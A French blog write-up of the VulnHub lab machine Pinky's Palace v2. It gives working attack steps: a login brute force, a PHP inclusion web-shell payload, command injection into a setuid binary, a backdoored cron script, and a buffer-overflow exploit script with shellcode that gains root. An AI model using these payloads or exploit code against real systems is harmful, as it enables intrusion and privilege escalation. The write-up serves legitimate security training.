Accueil Solution du CTF Pinky's Palace v2 de VulnHub
Post
Annuler

Solution du CTF Pinky's Palace v2 de VulnHub

Nitro

J’ai dû marcher sur mon lacet quand je me suis lancé sur le CTF Pinky’s Palace: v2.

Il faut dire que la VM ne parvenait pas à récupérer une adresse IP et j’ai donc dû l’ouvrir pour corriger ça. Derrière, j’ai finalement du lancer un service qui ne parvenait pas à démarrer, car il s’attendait à trouver l’interface réseau eth0 alors que VirtualBox la nommait d’après ma véritable interface (je suppose que c’est la cause majeure des problèmes réseau sur les vieilles VM de VulnHub).

Pour la suite, ce qui était gênant en début de CTF c’était la multitude de possibilités à tester avant de parvenir au résultat espéré.

Une fois un shell récupéré, le CTF nécessite de suivre différentes étapes qui sont bien définies (ouf).

Knock, knock

Nmap trouve rapidement un serveur Apache livrant un Wordpress mais aussi 3 ports filtrés :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
80/tcp    open     http    Apache httpd 2.4.25 ((Debian))
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /wp-login.php: Possible admin folder
|   /readme.html: Wordpress version: 2 
|   /: WordPress version: 4.9.4
|   /wp-includes/images/rss.png: Wordpress version 2.2 found.
|   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
|   /wp-includes/images/blank.gif: Wordpress version 2.6 found.
|   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
|   /wp-login.php: Wordpress login page.
|   /wp-admin/upgrade.php: Wordpress login page.
|   /readme.html: Interesting, a readme.
|_  /secret/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'
--- snip ---
4655/tcp  filtered unknown
7654/tcp  filtered unknown
31337/tcp filtered Elite

Pour avoir déjà ce genre de situation sur d’autres CTFs c’est un bon indice qu’on port-knocking est à effectuer.

Dans les dossiers que Nmap a trouvés via son script Lua d’énumération, il y a le dossier secret qui contient un fichier bambam.txt que voici :

8890
7000
666
pinkydb

J’ai logiquement essayé de contacter les ports dans l’ordre, mais je ne voyais aucun changement.

Finalement j’ai jeté un œil à la VM et j’ai du lancer le knockd qui n’écoutait pas sur la bonne interface :

knockd -i <interface réseau> -d

Autre déception, les ports de la liste n’étaient pas ordonnés correctement, mais heureusement ils ne sont que trois :

1
2
3
4
5
6
7
8
9
10
$ ncat -v -z 192.168.56.185 7000; ncat -v -z 192.168.56.185 666; ncat -v -z 192.168.56.185 8890; ncat -v 192.168.56.185 4655
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connection refused.
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connection refused.
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connection refused.
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.56.185:4655.
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u3

On trouve alors un serveur SSH sur le port 4655, mais aussi un Nginx et une appli custom :

1
2
3
4
5
6
7
8
9
10
7654/tcp  open  http    nginx 1.10.3
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|_  /login.php: Possible admin folder
31337/tcp open  Elite?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, NULL, RPCCheck: 
|     [+] Welcome to The Daemon [+]
|     This is soon to be our backdoor
|     into Pinky's Palace.

Brocouille

Sur le Nginx on trouve une mire de connexion, mais avant j’ai décidé de me plonger sur les autres ports.

Un coup d’œil au code source du Wordpress révèle sa version :

1
<meta name="generator" content="WordPress 4.9.4" />

Mais une recherche sur le mot plugin ne donne aucun match. Le wordpress est configuré pour le nom d’hôte pinkydb.

J’ai tenté une énumération avec wpscan qui n’a remonté aucun plugin nom plus :

1
docker run --add-host pinkydb:192.168.56.185 -it --rm wpscanteam/wpscan --url http://pinkydb/ -e ap,at,u --plugins-detection aggressive

Juste un utilisateur qu’on aurait pu trouver via le code HTML aussi :

1
2
3
4
5
6
7
8
[i] User(s) Identified:

[+] pinky1337
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

J’ai ensuite tenté de bruteforcer le compte, mais après avoir atteint 1% de la wordlist rockyou j’ai jeté l’éponge.

J’ai aussi effectué une énumération de fichiers et dossiers à l’aide de Feroxbuster et une recherche de sous-domaines avec ffuf. Rien n’a été concluant.

En aparté

Le port 31337 ne semble rien faire de plus que nous renvoyer nos données :

1
2
3
4
5
6
7
8
$ ncat 192.168.56.185 31337 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.56.185:31337.
[+] Welcome to The Daemon [+]
This is soon to be our backdoor
into Pinky's Palace.
=> hello
hello

En jouant un peu avec j’ai remarqué que dans certains cas, il retournait quelques octets de plus que ce qu’il recevait.

J’ai alors écrit le script Python suivant :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from time import sleep

from pwnlib.tubes.remote import remote

for size in range(2098, 5048):
    r = remote("192.168.56.185", 31337)
    r.recvuntil(b"=> ")
    r.send(b"A"*size + b"\n")
    r.recv(1)
    buff = r.recv(10000)
    recv_size = len(buff[:-1])
    if size != recv_size:
        print(f"mismatch {size} != {recv_size}")
        print(repr(buff[size+1:]))
    r.close()
    sleep(.5)

C’était assez intéressant. Déjà on voit que le binaire leak ce qui semble être des adresses de la stack (du type 0x7fXXXXXX).

Ensuite en plaçant suffisamment de données on trouve à un moment un entête ELF, ce qui est totalement possible vu que le binaire et les librairies sont chargées en mémoire, mais assez étonnant de le voir à ce moment, car la stack correspond aux adresses hautes et qu’il n’y a pas grand-chose après…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mismatch 1975 != 1981
b'P\x04`/\xfe\x7f'
mismatch 1976 != 1981
b'\x04`/\xfe\x7f'
mismatch 1977 != 1981
b'`/\xfe\x7f'
mismatch 1978 != 1981
b'/\xfe\x7f'
mismatch 1979 != 1981
b'\xfe\x7f'
mismatch 1980 != 1981
b'\x7f'
mismatch 1983 != 1985
b'@\x03'
mismatch 1984 != 1985
b'\x03'
mismatch 1991 != 1999
b'\x7fELF\x02\x01\x01\x03'
mismatch 1992 != 1999
b'ELF\x02\x01\x01\x03'
mismatch 1993 != 1999
b'LF\x02\x01\x01\x03'
mismatch 1994 != 1999
b'F\x02\x01\x01\x03'

Sur la théorie d’exploiter ce leak pour parvenir à exploiter un stack-overflow, ça semble assez problématique.

Il faudrait trouver une adresse de la libc dans la stack, ce qui est faisable comme le montre l’exécution d’un programme simple que j’ai compilé :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[-------------------------------------code-------------------------------------]
   0x40112f <main+9>:   call   0x401030 <puts@plt>
   0x401134 <main+14>:  mov    eax,0x0
   0x401139 <main+19>:  pop    rbp
=> 0x40113a <main+20>:  ret    
   0x40113b:    add    bl,dh
   0x40113d <_fini+1>:  nop    edx
   0x401140 <_fini+4>:  sub    rsp,0x8
   0x401144 <_fini+8>:  add    rsp,0x8
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd988 --> 0x7ffff7dcdbb0 (<__libc_start_call_main+130>:  mov    edi,eax)
0008| 0x7fffffffd990 --> 0x7fffffffda80 --> 0x7fffffffda88 --> 0x38 ('8')
0016| 0x7fffffffd998 --> 0x401126 (<main>:      push   rbp)
0024| 0x7fffffffd9a0 --> 0x100400040 
0032| 0x7fffffffd9a8 --> 0x7fffffffda98 --> 0x7fffffffdf43 ("/tmp/test")
0040| 0x7fffffffd9b0 --> 0x7fffffffda98 --> 0x7fffffffdf43 ("/tmp/test")
0048| 0x7fffffffd9b8 --> 0x15ab66a4c2d28ab9 
0056| 0x7fffffffd9c0 --> 0x0

On voit qu’au retour du main la stack contient l’adresse de retour __libc_start_call_main+130.

Cette adresse fait bien parmi de la libc :

1
      0x7ffff7dcc000     0x7ffff7f33000   0x167000    0x26000  r-xp   /usr/lib64/libc.so.6

Mais ce n’est pas l’adresse exacte de __libc_start_call_main dont le début dépend du nombre d’instructions présentes auparavant.

Il faudrait disposer d’une base de données comme la libc database pour déterminer à quelle libc on a à faire dans l’idée de créer une ROP chain.

Mais autre point important : on leake l’adresse qui est en mémoire et non l’offset dans la libc. À moins de pouvoir leaker une seconde adresse de la libc (et rechercher selon un décalage), ce scénario d’exploitation semble vraiment compliqué.

Blinky

Destination le service Nginx avec la mire de login. Après avoir tenté un bruteforce sans résultat, j’ai généré une wordlist avec le contenu du wordpress.

Vu qu’il n’y a qu’un petit post, la wordlist est courte.

1
docker run --add-host pinkydb:192.168.56.185 -it --rm cewl http://pinkydb/ > words.txt

J’ai ensuite passé la wordlist pour un bruteforce à la fois sur le nom d’utilisateur et le mot de passe :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ ffuf -w words.txt:USER -w words.txt:PASS -X POST -d "user=USER&pass=PASS" -H "Content-type: application/x-www-form-urlencoded" -u http://pinkydb:7654/login.php -fr Invalid

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1
________________________________________________

 :: Method           : POST
 :: URL              : http://pinkydb:7654/login.php
 :: Wordlist         : USER: words.txt
 :: Wordlist         : PASS: words.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : user=USER&pass=PASS
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Regexp: Invalid
________________________________________________

[Status: 302, Size: 499, Words: 19, Lines: 26]
    * USER: Pinky
    * PASS: Passione

[Status: 302, Size: 499, Words: 19, Lines: 26]
    * USER: pinky
    * PASS: Passione

:: Progress: [28224/28224] :: Job [1/1] :: 436 req/sec :: Duration: [0:00:46] :: Errors: 0 ::

Gotcha ! On est redirigé vers l’URL http://pinkydb:7654/pageegap.php?1337=filesselif1001.php et on trouve un lien vers une clé SSH pour un certain stefano ainsi qu’un message à l’URL http://pinkydb:7654/credentialsdir1425364865/notes.txt.

Le script pageegap.php est vulnérable à une faille d’inclusion PHP. Il n’y a aucun filtre qui est en place.

J’ai préféré ne pas gaspiller de temps et passer via le php_filter_chain_generator :

1
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'

Plus qu’à placer le filtre en valeur du paramètre 1337 vulnérable et ma commande dans le paramètre c.

Je peux alors commencer à fouiller le système :

1
2
3
4
5
6
7
8
www-data@Pinkys-Palace:/var/www/html/nginx/pinkydb/html$ cat config.php
<?php
        define('DB_HOST', 'localhost');
        define('DB_USER', 'secretpinkdbuser');
        define('DB_PASS', 'pinkyssecretdbpass');
        define('DB_NAME', 'secretsdb');
        $conn = mysqli_connect(DB_HOST,DB_USER,DB_PASS,DB_NAME);
?>

Ce sont les identifiants utilisés pour le code du Nginx. Je trouve aussi ceux du Wordpress :

1
2
3
4
5
6
7
8
9
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'pwp_db');

/** MySQL database username */
define('DB_USER', 'pinkywp');

/** MySQL database password */
define('DB_PASSWORD', 'pinkydbpass_wp');

Inky

En cherchant les fichiers de l’utilisateur pinky j’ai trouvé un binaire setuid chez stefano :

1
2
3
www-data@Pinkys-Palace:/var/www/html/nginx/pinkydb/html$ find / -user pinky -ls 2>/dev/null 
   917524     16 -rwsr----x   1 pinky    www-data    13384 Mar 16  2018 /home/stefano/tools/qsub
  4587523      4 drwxr-x---   3 pinky    pinky        4096 Mar 17  2018 /home/pinky

On dispose aussi de cette note :

1
2
www-data@Pinkys-Palace:/var/www/html/nginx/pinkydb/html$ cat /home/stefano/tools/note.txt
Pinky made me this program so I can easily send messages to him.

Seul www-data et pinky peuvent lire le binaire, mais tout le monde peut l’exécuter.

Je me suis aussi penché sur la clé privée SSH de stefano qu’on a récupéré. Elle est protégée par une passphrase qui n’a pas mis longtemps à tomber (utilisation préalable de ssh2john) :

1
2
3
4
5
6
7
8
9
10
11
$ john --wordlist=rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
secretz101       (id_rsa)     
1g 0:00:00:00 DONE (2023-04-18 18:14) 2.127g/s 2778Kp/s 2778Kc/s 2778KC/s sectec1..secretsex
Use the "--show" option to display all of the cracked passwords reliably
Session completed

J’ai recopié le binaire qsub avec les droits de www-data puis l’ai ouvert avec Cutter :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0x00000ad1      lea     rdi, str.TERM ; 0xc9b ; const char *name
0x00000ad8      call    getenv     ; sym.imp.getenv ; char *getenv(const char *name)
0x00000add      mov     qword [s2], rax
0x00000ae1      lea     rdi, str.Input_Password: ; 0xca0 ; const char *format
0x00000ae8      mov     eax, 0
0x00000aed      call    printf     ; sym.imp.printf ; int printf(const char *format)
0x00000af2      lea     rax, [s1]
0x00000af6      mov     rsi, rax
0x00000af9      lea     rdi, data.00000cb5 ; 0xcb5 ; const char *format
0x00000b00      mov     eax, 0
0x00000b05      call    __isoc99_scanf ; sym.imp.__isoc99_scanf ; int scanf(const char *format)
0x00000b0a      lea     rax, [s1]
0x00000b0e      mov     rdi, rax   ; const char *s
0x00000b11      call    strlen     ; sym.imp.strlen ; size_t strlen(const char *s)
0x00000b16      cmp     rax, 0x28
0x00000b1a      jbe     0xb32
0x00000b1c      lea     rdi, str.Bad_hacker__Go_away ; 0xcb8 ; const char *s
0x00000b23      call    puts       ; sym.imp.puts ; int puts(const char *s)
0x00000b28      mov     edi, 0     ; int status
0x00000b2d      call    exit       ; sym.imp.exit ; void exit(int status)
0x00000b32      mov     rdx, qword [s2]
0x00000b36      lea     rax, [s1]
0x00000b3a      mov     rsi, rdx   ; const char *s2
0x00000b3d      mov     rdi, rax   ; const char *s1
0x00000b40      call    strcmp     ; sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
0x00000b45      test    eax, eax

Le programme demande un mot de passe qui doit correspondre à la variable d’environnement TERM.

On voit ensuite dans le code qu’il fait un sprintf de cette chaine avec l’input récupéré :

1
/bin/echo %s >> /home/pinky/messages/stefano_msg.txt

On obtient alors un shell pinky de cette façon :

1
2
3
4
5
stefano@Pinkys-Palace:~/tools$ ./qsub ";bash #"
[+] Input Password: xterm-256color

pinky@Pinkys-Palace:~/tools$ id
uid=1000(pinky) gid=1002(stefano) groups=1002(stefano)

Pinky

En utilisant pspy on peut voir qu’une tache crontab est exécutée :

1
2
3
4
5
2023/04/18 21:15:01 CMD: UID=0    PID=20025  | /usr/sbin/CRON -f 
2023/04/18 21:15:01 CMD: UID=1001 PID=20029  | tar cvzf /home/demon/backups/backup.tar.gz /var/www/html 
2023/04/18 21:15:01 CMD: UID=1001 PID=20027  | /bin/bash /usr/local/bin/backup.sh 
2023/04/18 21:15:01 CMD: UID=1001 PID=20026  | /bin/sh -c /usr/local/bin/backup.sh 
2023/04/18 21:15:01 CMD: UID=1001 PID=20030  | tar cvzf /home/demon/backups/backup.tar.gz /var/www/html

Problème : le script exécuté par l’utilisateur demon (UID 1001) est lisible pour ceux qui ont le GID pinky or le shell qu’on a obtenu a seulement l’UID :

1
   917532      4 -rwxrwx---   1 demon    pinky         113 Mar 17  2018 /usr/local/bin/backup.sh

J’ai simplement résolu le problème en créant un fichier .ssh/authorized_keys dans le dossier de pinky puis en me connectant via SSH.

J’ai alors modifié le script de backup pour rajouter les deux dernières lignes :

1
2
3
4
5
6
#!/bin/bash

rm /home/demon/backups/backup.tar.gz
tar cvzf /home/demon/backups/backup.tar.gz /var/www/html
mkdir -p /home/demon/.ssh
echo "ssh-rsa AAAA--- snip clé publique ssh snip---WnV7Ez8/h" > /home/demon/.ssh/authorized_keys

Et après plusieurs minutes, je pouvais me connecter sur le compte demon.

Clyde

La dernière étape concerne le binaire écoutant sur le port 31337 qu’on a vu plus tôt :

1
2
root       408  0.0  0.0   4040  1020 ?        Ss   Apr18   0:01 /daemon/panel
root      6416  0.0  0.0   4040    84 ?        S    06:43   0:00 /daemon/panel

Le fait que les adresses de la stack qu’on a pu dumper plus tôt ne changeait presque pas était le signe que soit l’ASLR était désactivée, soit que le programme fonctionnait avec un fork.

On est ici dans la seconde situation. Une analyse du code assembleur montre que le programme fork très tôt (avant le bind + listen), ce qui explique la temporisation qu’on doit mettre entre deux connexions successives.

Pour résumer la situation d’exploitation :

  • ASLR activé
  • NX false
  • Canary false
  • Binaire 64 bits
  • Pas de bit setuid
  • Fonctionne en tant que root

Le programme reçoit son input via le réseau et le passe ensuite à une fonction nommée handlecmd qui fait un strcpy, la stack frame étant plus petite que le buffer d’entrée.

J’ai généré une chaine cyclique avec pwntools et l’ai donné au binaire lancé avec gdb en local :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[----------------------------------registers-----------------------------------]
RAX: 0x806 
RBX: 0x7fffffffda98 --> 0x7fffffffdf4e ("/tmp/panel")
RCX: 0x7ffff7ebd1ed (<send+31>: cmp    rax,0xfffffffffffff000)
RDX: 0x806 
RSI: 0x7fffffffc8b0 ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab"...)
RDI: 0x4 
RBP: 0x6261616562616164 ('daabeaab')
RSP: 0x7fffffffc928 ("faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaad"...)
RIP: 0x4009aa (<handlecmd+70>:  ret)
R8 : 0x0 
R9 : 0x0 
R10: 0x0 
R11: 0x246 
R12: 0x0 
R13: 0x7fffffffdaa8 --> 0x7fffffffdf59 ("SHELL=/bin/bash")
R14: 0x7ffff7ffd000 --> 0x7ffff7fc1000 --> 0x0 
R15: 0x0
EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4009a3 <handlecmd+63>:     call   0x400790 <send@plt>
   0x4009a8 <handlecmd+68>:     nop
   0x4009a9 <handlecmd+69>:     leave  
=> 0x4009aa <handlecmd+70>:     ret    
   0x4009ab <main>:     push   rbp
   0x4009ac <main+1>:   mov    rbp,rsp
   0x4009af <main+4>:   sub    rsp,0x1050
   0x4009b6 <main+11>:  call   0x400820 <fork@plt>

On voit qu’au moment du ret on a bien le contrôle sur la stack (et donc l’adresse de retour).

L’offset de l’adresse de retour est 120 :

1
2
3
4
5
6
7
8
9
$ python
Python 3.10.10 (main, Mar 01 2023, 21:10:14) [GCC] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwnlib.util.cyclic import cyclic_gen
>>> g = cyclic_gen()
>>> g.get(2048)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaulaau'
>>> g.find("faab")
(120, 0, 120)

Avec la stack exécutable on va simplement utiliser un gadget pour sauter sur la pile (immédiatement après l’adresse de retour) :

1
0x0000000000400cfb : call rsp

J’ai utilisé un shellcode de Jonathan Salwan qui est aussi l’auteur du merveilleux ROPGadget :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import socket
from time import sleep
from struct import pack

call_rsp = 0x400cfb

sock = socket.socket()
sock.connect(("192.168.56.185", 31337))

shellcode = (
    # https://www.exploit-db.com/shellcodes/13915
    # Linux/x64 - setuid(0) + chmod (/etc/passwd 0777) + exit(0) Shellcode (63 bytes)
    b"\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
    b"\x48\x31\xd2\x66\xbe\xff\x01\x48\xbb\xff"
    b"\xff\xff\xff\xff\x64\x6f\x77\x48\xc1\xeb"
    b"\x28\x53\x48\xbb\x2f\x65\x74\x63\x2f\x73"
    b"\x68\x61\x53\x48\x89\xe7\x48\x31\xc0\xb0"
    b"\x5a\x0f\x05\x48\x31\xff\x48\x31\xc0\xb0"
    b"\x3c\x0f\x05"
)

buff = shellcode + b"A" * (120 - len(shellcode)) + pack("<I", call_rsp) + b"AAAA"
sock.send(buff)
sleep(1)
sock.close()

Le shellcode change les permissions sur /etc/shadow (malgré la description de exploit-db) :

1
2
demon@Pinkys-Palace:~$ ls -al /etc/shadow
-rwxrwxrwx 1 root shadow 1334 Apr 18 08:32 /etc/shadow

J’ai modifié l’entrée de l’utilisateur root pour fixer son mot de passe à devloop :

1
root:$6$GfGgGREs$IZmnJyN.V4pdvb0aJCCh0568QQT5F3CaN9NTuTwwDHB8r2hhK7JsZ5Jy/D/TVDFbymgQWS0DmtUjwYlZGZBUR/:17608:0:99999:7:::

Et c’est fini :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
demon@Pinkys-Palace:~$ vi /etc/shadow
demon@Pinkys-Palace:~$ su root
Password: 
root@Pinkys-Palace:/home/demon# id
uid=0(root) gid=0(root) groups=0(root)
root@Pinkys-Palace:/home/demon# cd /root
root@Pinkys-Palace:~# ls
root.txt
root@Pinkys-Palace:~# cat root.txt 

 ____  _       _          _     
|  _ \(_)_ __ | | ___   _( )___ 
| |_) | | '_ \| |/ / | | |// __|
|  __/| | | | |   <| |_| | \__ \
|_|   |_|_| |_|_|\_\\__, | |___/
                    |___/       
 ____       _                   
|  _ \ __ _| | __ _  ___ ___ 
| |_) / _` | |/ _` |/ __/ _ \
|  __/ (_| | | (_| | (_|  __/
|_|   \__,_|_|\__,_|\___\___|

[+] CONGRATS YOUVE PWND PINKYS PALACE!!!!!!                             
[+] Flag: 2208f787fcc6433b4798d2189af7424d
[+] Twitter: @Pink_P4nther
[+] Cheers to VulnHub!
[+] VM Host: VMware
[+] Type: CTF || [Realistic]
[+] Hopefully you enjoyed this and gained something from it as well!!!
Cet article est sous licence CC BY 4.0 par l'auteur.